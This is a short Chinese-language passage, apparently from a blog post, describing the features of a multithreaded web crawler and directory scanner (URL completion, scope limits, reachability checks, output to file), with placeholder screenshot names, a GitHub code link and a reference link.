补全相对地址、防止越界(可爬取子域名,其他地址除外),并验证地址是否能正常访问

3.png

地址池

4.png

爬取功能,虽然使用了多线程,但还是比较慢,输出结果是爬取完毕的地址

5.png

目录扫描和输出到文件

6.png

0×04 代码地址:

https://github.com/silience/spider

0×05 参考链接:

#http://blog.csdn.net/foryouslgme/article/details/52242653